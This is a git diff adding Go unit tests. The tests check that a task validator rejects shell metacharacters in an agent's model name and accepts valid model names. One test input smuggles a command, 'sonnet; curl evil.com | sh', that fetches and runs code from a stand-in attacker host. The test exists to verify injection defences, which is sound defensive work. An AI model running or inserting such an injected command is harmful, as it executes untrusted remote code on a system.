diff options
Diffstat (limited to 'internal/task/validator_test.go')
| -rw-r--r-- | internal/task/validator_test.go | 25 |
1 files changed, 25 insertions, 0 deletions
diff --git a/internal/task/validator_test.go b/internal/task/validator_test.go index 2c6735c..2e088cf 100644 --- a/internal/task/validator_test.go +++ b/internal/task/validator_test.go @@ -98,6 +98,31 @@ func TestValidate_InvalidPermissionMode_ReturnsError(t *testing.T) { } } +func TestValidate_InvalidModel_ReturnsError(t *testing.T) { + task := validTask() + // Shell metacharacters must be rejected -- Agent.Model is concatenated + // into a `sh -c` command string in executor.ContainerRunner.buildInnerCmd + // with no further escaping. + task.Agent.Model = "sonnet; curl evil.com | sh" + err := Validate(task) + if err == nil { + t.Fatal("expected error") + } + if !strings.Contains(err.Error(), "model") { + t.Errorf("expected model error, got: %v", err) + } +} + +func TestValidate_ValidModel_NoError(t *testing.T) { + for _, m := range []string{"", "sonnet", "opus", "claude-sonnet-4-6", "claude-opus-4-1-20250805"} { + task := validTask() + task.Agent.Model = m + if err := Validate(task); err != nil { + t.Errorf("model %q: expected no error, got: %v", m, err) + } + } +} + func TestValidate_MultipleErrors(t *testing.T) { task := &Task{ Retry: RetryConfig{MaxAttempts: 0, Backoff: "bad"}, |
